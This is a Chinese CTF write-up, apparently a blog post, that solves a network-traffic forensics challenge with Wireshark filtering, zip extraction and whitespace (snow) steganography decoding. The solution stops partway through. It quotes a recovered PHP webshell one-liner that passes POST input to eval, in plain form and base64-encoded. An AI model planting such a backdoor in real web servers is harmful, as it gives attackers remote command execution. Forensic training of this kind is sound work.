首页 > 其他分享 >借一道流量取证题总结一下空白密文的解码姿势

借一道流量取证题总结一下空白密文的解码姿势

时间:2024-05-16 19:18:52浏览次数:11  
标签:取证 AES 攻击 解码 差分 密钥 密文

引言

公司内部培训的一道题目,比较有意思,主要是复习一下空白密文的解码思路,算是脑洞的一种;流量取证的常规做法,还有AES的一段往事......

题目

┌───────────────────────────────────────────────────┐
│                     webshell                      │
│                       200                         │
│  糟糕,服务器存在后门,遭到了黑客入侵。                 │
│                                                   │ 
└───────────────────────────────────────────────────┘
ps:考虑到某公司的不分享精神或许会有版权之类的争端,文件的解密需要你ctf一下,哈哈!

提取码:R2N8

Writeup(WP)

废话不多说,咱们开整:

  1. 流量取证肯定需要wireshark,打开后先来个协议分级:
    协议分级
  2. 结合题目名称,很显然需要重点关注http,不过一眼望去都是404,那我们就先看看200的吧:
    http=200
  3. 发现了目标:she1l.php,那就搜搜看:
    she1l
  4. 大厨解码一下,得到k3y文件,就是一个zip压缩包:
    k3y
    passwdTip1
  5. 根据提示需要找到服务端CMS本来的后门,再次搜索she1l.php,找上传的后门,文件上传肯定是POST:http.request.method==POST
    http=post
    backdoor
    PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==解码为<?php eval($_POST['cmd']);?>
  6. 使用密码moddofun.php解压,得到flag文件,又是一个压缩包,解压得到文件snake:
    snake
  7. snake最先想到的是python,以为是pyc反编译,尝试了增加了几个常规版本的魔术数,无果!发现压缩包的注释:
    passwdTip2
  8. 空白密文,首先想到雪花隐写,将密文放入1.txt
>snow -C 1.txt
n0sasssyisidWarning: residual of 3 bits not uncompressed
>java -jar jsnow.jar -C 1.txt
Warning: residual of 3 bits not uncompressed.
n0sasssyisid

此时,想到了AES曾经的备选算法serpent(也有蛇

标签:取证,AES,攻击,解码,差分,密钥,密文
From: https://www.cnblogs.com/folio/p/18196365

相关文章

  • openGauss 逻辑解码概述
    逻辑解码概述功能描述openGauss对数据复制能力的支持情况为:支持通过数据迁移工具定期向异构数据库(如Oracle等)进行数据同步,不具备实时数据复制能力。不足以支撑与异构数据库间并网运行实时数据同步的诉求。openGauss提供了逻辑解码功能,通过反解xlog的方式生成逻辑日志。目标数......
  • 合合信息携手业界专家,解码数据资产管理方法与入表的关键路径
    随着财政部印发的《企业数据资源相关会计处理暂行规定》提出企业数据资产入表相关办法,《数据资产评估指导意见》中进一步规范数据资产评估行为,细化数据资产评估操作要求,对解决数据要素市场建设中的“数据赋值”难题提供了有效方案。数据资产管理与入表成为当前社会关注热点和数据......
  • 2024盘古石取证比赛(服务器)
      检材链接:https://pan.baidu.com/s/1YWxb2xlkN7kZTZO4scG5Kw?pwd=4dd8 容器密码:2b26ba7ed35d622d8ec19ad0322abc52160ddbfa 前期准备工作veracrypt解压火眼仿真im.dd,web.dd虚拟机开启虚拟机进入vm环境,但是进去出现问题——不知道用户名(火眼会把密码修改为123456)—......
  • openGauss 逻辑解码概述
    逻辑解码概述功能描述openGauss对数据复制能力的支持情况为:支持通过数据迁移工具定期向异构数据库(如Oracle等)进行数据同步,不具备实时数据复制能力。不足以支撑与异构数据库间并网运行实时数据同步的诉求。openGauss提供了逻辑解码功能,通过反解xlog的方式生成逻辑日志。目标数......
  • FFmpeg开发笔记(二十)Linux环境给FFmpeg集成AVS3解码器
    ​AVS3是中国AVS工作组制定的第三代音视频编解码技术标准,也是全球首个已推出的面向8K及5G产业应用的视频编码标准。AVS工作组于2019年3月9日完成第三代AVS视频标准(AVS3)基准档次的制订工作,参考软件的测试表明,AVS3基准档次的性能比上一代标准AVS2和HEVC提升了约30%。libuavs3d是AVS......
  • 394. 字符串解码
    给定一个经过编码的字符串,返回它解码后的字符串。编码规则为:k[encoded_string],表示其中方括号内部的encoded_string正好重复k次。注意k保证为正整数。你可以认为输入字符串总是有效的;输入字符串中没有额外的空格,且输入的方括号总是符合格式要求的。此外,你可以认为原始......
  • 2024 FIC取证比赛wp
    本次竞赛容器挂载密码为:2024Fic@杭州Powered~by~HL!2024年4月,卢某报案至警方,声称自己疑似遭受了“杀猪盘”诈骗,大量钱财被骗走。卢某透露,在与某公司交流过程中结识了员工李某。李某私下诱导卢某参与赌博游戏,起初资金出入均属正常。但随后,李某称赌博平台为提升安全性,更换了地址和......
  • FFmpeg开发笔记(十九)FFmpeg开启两个线程分别解码音视频
    ​同步播放音视频的时候,《FFmpeg开发实战:从零基础到短视频上线》一书第10章的示例程序playsync.c采取一边遍历一边播放的方式,在源文件的音频流和视频流交错读取的情况下,该方式可以很好地实现同步播放功能。但个别格式的音频流和视频流是分开存储的,前面一大段放了所有的音频帧,后......
  • web日志取证分析工具
    工具简介此工具可从单一可疑线索作为调查起点,遍历所有可疑URL(CGI)和来源IP。下载地址https://security.tencent.com/index.php/opensource/detail/15使用方法PerlLogForensics.pl-filelogfile-websvr(nginx|httpd)[-ipip(ip,ip,ip)|-urlurl(url,url,url)]File:日志......
  • 内存取证-volatility工具的使用
    0x00volatility介绍Volatility是一款非常强大的内存取证工具,它是由来自全世界的数百位知名安全专家合作开发的一套工具,可以用于windows,linux,macosx,android等系统内存取证。Volatility是一款开源内存取证框架,能够对导出的内存镜像进行分析,通过获取内核数据结构,使用插件获取内存......